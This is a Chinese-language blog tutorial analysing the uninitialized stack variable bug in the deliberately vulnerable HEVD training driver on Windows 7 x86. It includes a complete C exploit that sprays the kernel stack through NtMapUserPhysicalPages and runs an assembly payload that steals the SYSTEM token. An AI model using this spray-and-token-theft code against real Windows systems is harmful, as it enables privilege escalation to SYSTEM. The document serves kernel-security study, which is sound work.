漏洞分析丨HEVD-0x6.UninitializedStackVariable[win7x86]

極安御信發表於2022-07-21

作者selph

前言

窺探Ring0漏洞世界:未初始化棧變數漏洞

上一篇探討了空指標解引用漏洞的利用,這裡來探討另一種漏洞,未初始化棧變數漏洞,未初始化變數本身是沒啥事的,但如果這個變數結構裡儲存了會拿出來執行的東西(回撥函式啥的),那就是另一回事了

實驗環境:

•虛擬機器:Windows 7 x86


•物理機:Windows 10 x64


•軟體:IDA,Windbg,VS2022

漏洞分析

老樣子,先IDA找到該漏洞的觸發函式TriggerUninitializedMemoryStack,分析函式是如何存在漏洞的

首先是取出了使用者提供的指標裡的值,儲存到ebx:

然後緊接著判斷該值是否為魔數0BAD0B0B0h,是的話,就將該值和一個函式地址儲存到了棧中一個結構體裡,如果不是的話,則不進行操作,然後進行判斷,判斷棧中的這個變數是否有值,如果有值,且為固定這個函式的地址的話,就執行這個函式

如果該位置有值,且不是固定函式地址的話,就去把這個值當函式去呼叫:


驅動原始碼:

///


/// Trigger the uninitialized memory in Stack Vulnerability
///



///The pointer to user mode buffer
/// NTSTATUS
NTSTATUS
TriggerUninitializedMemoryStack(
_In_ PVOID UserBuffer
)
{
    ULONG UserValue = 0;
    ULONG MagicValue = 0xBAD0B0B0;
   NTSTATUS Status = STATUS_SUCCESS;

#ifdef SECURE
    //
    // Secure Note: This is secure because the developer is properly initializing
    // UNINITIALIZED_MEMORY_STACK to NULL and checks for NULL pointer before calling
    // the callback
    //

   UNINITIALIZED_MEMORY_STACK UninitializedMemory = { 0 };
#else
    //
    // Vulnerability Note: This is a vanilla Uninitialized Memory in Stack vulnerability
    // because the developer is not initializing 'UNINITIALIZED_MEMORY_STACK' structure
    // before calling the callback when 'MagicValue' does not match 'UserValue'
    //

   UNINITIALIZED_MEMORY_STACK UninitializedMemory;
#endif

   PAGED_CODE();

    __try
    {
       //
       // Verify if the buffer resides in user mode
       //

       ProbeForRead(UserBuffer, sizeof(UNINITIALIZED_MEMORY_STACK), (ULONG)__alignof(UCHAR));

       //
       // Get the value from user mode
       //

       UserValue = *(PULONG)UserBuffer;

       DbgPrint("[+] UserValue: 0x%p\n", UserValue);
        DbgPrint("[+] UninitializedMemory Address: 0x%p\n", &UninitializedMemory);

       //
       // Validate the magic value
       //

       if (UserValue == MagicValue) {
           UninitializedMemory.Value = UserValue;
           UninitializedMemory.Callback = &UninitializedMemoryStackObjectCallback;
        }

       DbgPrint("[+] UninitializedMemory.Value: 0x%p\n", UninitializedMemory.Value);
       DbgPrint("[+] UninitializedMemory.Callback: 0x%p\n", UninitializedMemory.Callback);

#ifndef SECURE
       DbgPrint("[+] Triggering Uninitialized Memory in Stack\n");
#endif

       //
       // Call the callback function
       //

       if (UninitializedMemory.Callback)
        {
           UninitializedMemory.Callback();
        }
    }
   __except (EXCEPTION_EXECUTE_HANDLER)
    {
       Status = GetExceptionCode();
       DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

   return Status;
}

可見,這裡的安全版本和不安全版本的區別僅在是否初始化了區域性變數,其實不初始化似乎也沒啥問題,這裡出問題的關鍵在於該變數中儲存了回撥函式,然後還被呼叫了,從而導致了漏洞

如果輸入的是錯誤的值(非魔數),且能控制回撥地址,就能執行shellcode。

漏洞利用

那麼問題來了,要如何去控制回撥地址呢?未初始化的區域性變數會儲存在棧中,且值是不可預測的,棧中存的是什麼值那變數就是什麼值

參考[1],控制棧中的值,需要做這些準備:

1.找到核心棧初始化地址

2.找到回撥地址所在核心棧初始化地址的偏移量

3.透過在使用者模式下使用者可控輸入噴射核心棧(參考資料[2])

核心棧噴射

根據參考資料[2],有一個未文件化的函式NtMapUserPhysicalPages可以噴射一大塊資料到核心棧裡:

NTSTATUS
NtMapUserPhysicalPages (
   __in PVOID VirtualAddress,
   __in ULONG_PTR NumberOfPages,
  __in_ecount_opt(NumberOfPages) PULONG_PTR UserPfnArray
 )
(...)
 ULONG_PTR StackArray[COPY_STACK_SIZE]; // COPY_STACK_SIZE = 1024

這裡頭有一片棧空間的緩衝區陣列,大小是1024*sizeof(ULONG_PTR)

該函式最後,如果NumberOfPages變數不大於1024的話,會使用該棧緩衝區地址去呼叫:MiCaptureUlongPtrArray函式

PoolArea = (PVOID)&StackArray[0];

(...)
 
  if (NumberOfPages > COPY_STACK_SIZE) {
   PoolArea = ExAllocatePoolWithTag (NonPagedPool,
                                     NumberOfBytes,
                                      'wRmM');
 
    if (PoolArea == NULL) {
     return STATUS_INSUFFICIENT_RESOURCES;
    }
  }
 
(...)
 
  Status = MiCaptureUlongPtrArray (PoolArea,
                                  UserPfnArray,
                                  NumberOfPages);

使用IDA開啟Windows7 x86核心檔案ntkrnlpa查詢該呼叫:

因為該函式是fastcall呼叫,在x86下fastcall呼叫會優先使用ecx和edx傳參,多餘的引數才使用棧,也就是說傳遞的引數依次是:NumberOfPages,UserPfnArray,棧緩衝區的地址

然後MiCaptureUlongPtrArray的實現如下:

int __fastcall MiCaptureUlongPtrArray(int a1, unsigned int a2, void *a3)
{
size_t v3; // ecx

  v3 = 4 * a1;
  if ( v3 )
  {
    if ( (a2 & 3) != 0 )
     ExRaiseDatatypeMisalignment();
    if ( v3 + a2 > MmUserProbeAddress || v3 + a2 < a2 )
     *(_BYTE *)MmUserProbeAddress = 0;
  }
 memcpy(a3, (const void *)a2, v3);
  return 0;
}

NtMapUserPhysicalPages函式里將往棧緩衝區裡填充使用者傳來的資料

到此,可以知道,只需要向呼叫NtMapUserPhysicalPages函式,提供第二個引數是大小,第三個引數是使用者緩衝區,即可實現在棧中進行噴射,接下來進行編寫exp實現利用

編寫exp

還是用之前的模板改一改,透過函式可以實現對核心棧的提前佈置,然後再用非魔數的輸入去呼叫漏洞函式,使得未初始化的變數裡填充的是我們佈置的值,從而完成利用:

#include
#include

// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET    0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET         0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET       0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET       0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID         0x004 // SYSTEM Process PID

typedef NTSTATUS(WINAPI* NtMapUserPhysicalPages_t)(IN PVOID         VirtualAddress,
    IN ULONG_PTR      NumberOfPages,
    IN OUT PULONG_PTR UserPfnArray);

VOID TokenStealingPayloadWin7() {
    // Importance of Kernel Recovery
    __asm {
       pushad

        ;獲取當前程式EPROCESS
       xor eax, eax
       mov eax, fs: [eax + KTHREAD_OFFSET]
       mov eax, [eax + EPROCESS_OFFSET]
       mov ecx, eax

        ;搜尋system程式EPROCESS
       mov edx, SYSTEM_PID
       SearchSystemPID :
       mov eax, [eax + FLINK_OFFSET]
           sub eax, FLINK_OFFSET
           cmp[eax + PID_OFFSET], edx
           jne SearchSystemPID

           ; token竊取
           mov edx, [eax + TOKEN_OFFSET]
            mov[ecx + TOKEN_OFFSET], edx

           ; 環境還原 + 返回
           popad
    }
}

int main()
{

    ULONG UserBufferSize = 1024*sizeof(ULONG_PTR);
    PVOID EopPayload = &TokenStealingPayloadWin7;

   HANDLE hDevice = ::CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);

   PULONG UserBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);

   //RtlFillMemory(UserBuffer, UserBufferSize, 'A');
    for (int i = 0; i < UserBufferSize / sizeof(ULONG_PTR); i++){
       UserBuffer[i] = (ULONG)EopPayload;
    }

    // 佈置核心棧
   NtMapUserPhysicalPages_t     NtMapUserPhysicalPages;
   NtMapUserPhysicalPages = (NtMapUserPhysicalPages_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"),"NtMapUserPhysicalPages");
   NtMapUserPhysicalPages(NULL, 1024, UserBuffer);


    ULONG WriteRet = 0;
   DeviceIoControl(hDevice, 0x22202f, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);

   HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);
   UserBuffer = NULL;

   system("pause");
   system("cmd.exe");

   return 0;
}

截圖演示

參考資料

•[1] Windows Kernel Exploitation Tutorial Part 6: Uninitialized Stack Variable - rootkit (rootkits.xyz) https://rootkits.xyz/blog/2018/01/kernel-uninitialized-stack-variable/

•[2] nt!NtMapUserPhysicalPages and Kernel Stack-Spraying Techniques | j00ru//vx tech blog (vexillium.org) https://j00ru.vexillium.org/2011/05/windows-kernel-stack-spraying-techniques/

•[3] CVE-2016-0040 - DreamoneOnly - 部落格園 (cnblogs.com) https://www.cnblogs.com/DreamoneOnly/p/13163036.html

•[4] HEVD Kernel Exploitation -- Uninitialized Stack & Heap (seebug.org) https://paper.seebug.org/200/

•[5] ヾ(ŐŐ3)ノ嘻嘻![05] HEVD 核心漏洞之未初始化棧變數 | Saturn35 https://saturn35.com/2019/07/26/20190726-2/

•[6] C library function - memcpy() (tutorialspoint.com) https://www.tutorialspoint.com/c_standard_library/c_function_memcpy.htm

•[7] __fastcall | Microsoft Docs https://docs.microsoft.com/zh-cn/cpp/cpp/fastcall?view=msvc-170


相關文章